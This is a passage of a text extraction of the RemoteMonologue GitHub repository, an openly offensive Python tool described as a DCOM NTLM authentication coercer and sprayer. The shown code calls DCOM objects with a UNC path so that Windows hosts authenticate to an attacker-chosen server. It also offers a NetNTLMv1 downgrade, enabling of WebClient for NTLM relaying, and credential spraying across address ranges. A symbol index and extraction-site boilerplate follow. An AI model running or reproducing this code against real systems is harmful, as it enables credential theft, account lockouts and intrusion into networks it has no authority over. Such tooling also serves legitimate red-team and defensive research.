self.__dcom = dcom
self.execute_remote()
def execute_remote(self):
tmpShare = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
tmpFileName = tmpName + '.txt'
UNCpath = "\\\\%s\\%s\\%s" % (self._auth_to, tmpShare, tmpFileName)
logging.debug('Setting UNC path: %s' % UNCpath)
if (self.__dcom == "UpdateSession" or self.__dcom == "ServerDataCollectorSet" or self.__dcom == None):
dispParams = DISPPARAMS(None, False)
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 2
dispParams['cNamedArgs'] = 0
arg0 = VARIANT(None, False)
arg0['clSize'] = 5
arg0['vt'] = VARENUM.VT_BSTR
arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
arg0['_varUnion']['bstrVal']['asData'] = "XFORCERED"
arg1 = VARIANT(None, False)
arg1['clSize'] = 5
arg1['vt'] = VARENUM.VT_BSTR
arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
arg1['_varUnion']['bstrVal']['asData'] = UNCpath
if (self.__dcom == "UpdateSession"):
dispParams['rgvarg'].append(arg1)
dispParams['rgvarg'].append(arg0)
elif (self.__dcom == "ServerDataCollectorSet" or self.__dcom == None):
dispParams['rgvarg'].append(arg0)
dispParams['rgvarg'].append(arg1)
self._executeUNCpath[0].Invoke(self._executeUNCpath[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
elif (self.__dcom == "MSTSWebProxy"):
dispParams = DISPPARAMS(None, False)
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 2
dispParams['cNamedArgs'] = 0
arg0 = VARIANT(None, False)
arg0['clSize'] = 5
arg0['vt'] = VARENUM.VT_BSTR
arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
arg0['_varUnion']['bstrVal']['asData'] = "C:\\windows\\syswow64\\mstsc.exe"
arg1 = VARIANT(None, False)
arg1['clSize'] = 5
arg1['vt'] = VARENUM.VT_BSTR
arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
arg1['_varUnion']['bstrVal']['asData'] = "/edit " + UNCpath
dispParams['rgvarg'].append(arg1)
dispParams['rgvarg'].append(arg0)
self._executeUNCpath[0].Invoke(self._executeUNCpath[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
elif(self.__dcom == "FileSystemImage"):
# Convert -3 to unsigned 32-bit
DISPID_PROPERTYPUT = 0xFFFFFFFD
dispParams = DISPPARAMS(None, False)
dispParams['rgvarg'] = []
dispParams['rgdispidNamedArgs'] = [DISPID_PROPERTYPUT]
dispParams['cArgs'] = 1
dispParams['cNamedArgs'] = 1
arg0 = VARIANT(None, False)
arg0['clSize'] = 12
arg0['vt'] = VARENUM.VT_BSTR
arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
arg0['_varUnion']['bstrVal']['asData'] = UNCpath
dispParams['rgvarg'].append(arg0)
self._executeUNCpath[0].Invoke(self._executeUNCpath[1], 0x000, DISPATCH_PROPERTYPUT, dispParams, 0, [], [])
class AuthFileSyntaxError(Exception):
'''raised by load_smbclient_auth_file if it encounters a syntax error
while loading the smbclient-style authentication file.'''
def __init__(self, path, lineno, reason):
self.path=path
self.lineno=lineno
self.reason=reason
def __str__(self):
return 'Syntax error in auth file %s line %d: %s' % (
self.path, self.lineno, self.reason )
def load_smbclient_auth_file(path):
'''Load credentials from an smbclient-style authentication file (used by
smbclient, mount.cifs and others). returns (domain, username, password)
or raises AuthFileSyntaxError or any I/O exceptions.'''
lineno=0
domain=None
username=None
password=None
for line in open(path):
lineno+=1
line = line.strip()
if line.startswith('#') or line=='':
continue
parts = line.split('=',1)
if len(parts) != 2:
raise AuthFileSyntaxError(path, lineno, 'No "=" present in line')
(k,v) = (parts[0].strip(), parts[1].strip())
if k=='username':
username=v
elif k=='password':
password=v
elif k=='domain':
domain=v
else:
raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k))
return (domain, username, password)
def parseServers(server):
if '/' not in server:
return [server]
(ip, cidr) = server.split('/')
cidr = int(cidr)
host_bits = 32 - cidr
i = struct.unpack('>I', socket.inet_aton(ip))[0]
start = (i >> host_bits) << host_bits
end = i | ((1 << host_bits) - 1)
ret = []
for i in range(start, end):
ret.append(socket.inet_ntoa(struct.pack('>I', i)))
return ret
# Process command-line arguments.
if __name__ == '__main__':
print(text_green + """
__ ___ __ ___ ___ __ __ __ __ ___
|__) |__ |\/| / \ | |__ |\/| / \ |\ | / \ | / \ / _` | | |__
| \ |___ | | \__/ | |___ | | \__/ | \| \__/ |___ \__/ \__> \__/ |___
v1.1 - @AndrewOliveau
""" + text_end)
parser = argparse.ArgumentParser(add_help = True, description = "DCOM NTLM authentication coercer and sprayer")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-dcom', action='store', metavar = "", help='DCOM object - ServerDataCollectorSet (default), FileSystemImage, MSTSWebProxy, UpdateSession (SYSTEM)')
parser.add_argument('-auth-to', action='store', metavar = "ip address", help='Server for Interactive User to authenticate to over SMB')
parser.add_argument('-spray', action='store_true', default = False,
help='Spray credentials against provided list of systems. Filename must be provided in domain/user@FILE')
parser.add_argument('-query', action='store_true', default = False, help='Query users logged on the target system')
parser.add_argument('-downgrade', action='store_true', default = False,
help='Run attack with NetNTLMv1 downgrade')
parser.add_argument('-webclient', action='store_true', default = False,
help='Enable the WebClient service to receive HTTP authentications for NTLM relaying')
parser.add_argument('-output', action='store', metavar = "filename", help='Output results to file')
parser.add_argument('-timeout', action='store', default=5, help='socket timeout out when connecting to the target (default 5 sec)')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
'ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
group.add_argument('-A', action="store", metavar = "authfile", help="smbclient/mount.cifs-style authentication file. "
"See smbclient man page's -A option.")
group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
# Init the example's logger theme
logger.init(options.ts)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
#logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
if options.dcom not in ["ServerDataCollectorSet", "FileSystemImage", "UpdateSession", "MSTSWebProxy", None]:
logging.error("Incorrect -dcom option. Choose: ServerDataCollectorSet (default), FileSystemImage, MSTSWebProxy, UpdateSession (SYSTEM)")
sys.exit(0)
if options.downgrade and options.webclient:
logging.error("You can't use -downgrade and -webclient at the same time. Choose one.")
sys.exit(0)
if (options.auth_to == None and options.query == False):
logging.error("Must specify the server for the target to authenticate to (-auth-to)")
sys.exit(0)
if options.spray == False:
domain, username, password, address = parse_target(options.target)
else:
domain, username, password, addresses = parse_target(options.target)
try:
if options.A is not None:
(domain, username, password) = load_smbclient_auth_file(options.A)
logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (repr(domain), repr(username), repr(password)))
if domain is None:
domain = ''
if options.keytab is not None:
Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)
options.k = True
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
if options.spray:
user_resp = str(input("\n[?] You're about to spray credentials. PLEASE BE CAREFUL NOT TO LOCKOUT ACCOUNTS! Continue? (y/N): "))
if user_resp == "y":
targets = []
if os.path.isfile(addresses):
with open(addresses) as serverfile:
for line in serverfile:
if line.strip():
targets.extend(parseServers(line.strip()))
for x in range(len(targets)):
address = targets[x]
executer = RemoteMonologue(username, password, domain, address, options.hashes, options.aesKey,
options.k, options.dc_ip,options.auth_to, options.output, options.dcom, options.downgrade, options.webclient, options.timeout)
executer.run()
else:
executer = RemoteMonologue(username, password, domain, address, options.hashes, options.aesKey,
options.k, options.dc_ip,options.auth_to, options.output, options.dcom, options.downgrade, options.webclient)
if options.query:
executer.run_query()
else:
executer.run()
except (Exception, KeyboardInterrupt) as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))
sys.exit(0)
gitextract_k96jjx8a/ ├── README.md └── RemoteMonologue.py
SYMBOL INDEX (18 symbols across 1 files)
FILE: RemoteMonologue.py
class RemoteMonologue (line 50) | class RemoteMonologue:
method __init__ (line 51) | def __init__(self, username='', password='', domain='', address='', ha...
method getInterface (line 71) | def getInterface(self, interface, resp):
method checkSMB (line 91) | def checkSMB(self):
method registry_modifications (line 118) | def registry_modifications(self):
method hBaseRegSetKeySecurity (line 504) | def hBaseRegSetKeySecurity(self, dce, hKey, pRpcSecurityDescriptor, se...
method enableWebclient (line 536) | def enableWebclient(self):
method run_query (line 616) | def run_query(self):
method run (line 691) | def run(self):
method dcom_coerce (line 706) | def dcom_coerce(self):
class AuthenticationCoercer (line 869) | class AuthenticationCoercer():
method __init__ (line 871) | def __init__(self, executeUNCpath, auth_to, dcom):
method execute_remote (line 878) | def execute_remote(self):
class AuthFileSyntaxError (line 964) | class AuthFileSyntaxError(Exception):
method __init__ (line 969) | def __init__(self, path, lineno, reason):
method __str__ (line 974) | def __str__(self):
function load_smbclient_auth_file (line 978) | def load_smbclient_auth_file(path):
function parseServers (line 1014) | def parseServers(server):
Condensed preview — 2 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (54K chars).
[
{
"path": "README.md",
"chars": 3582,
"preview": "# RemoteMonologue\n\nRemoteMonologue is a Windows credential harvesting technique that enables remote user compromise by l"
},
{
"path": "RemoteMonologue.py",
"chars": 47997,
"preview": "#!/usr/bin/python3\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport argparse\nimport logging"
}
]
About this extraction
This page contains the full source code of the xforcered/RemoteMonologue GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 2 files (50.4 KB), approximately 12.2k tokens, and a symbol index with 18 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.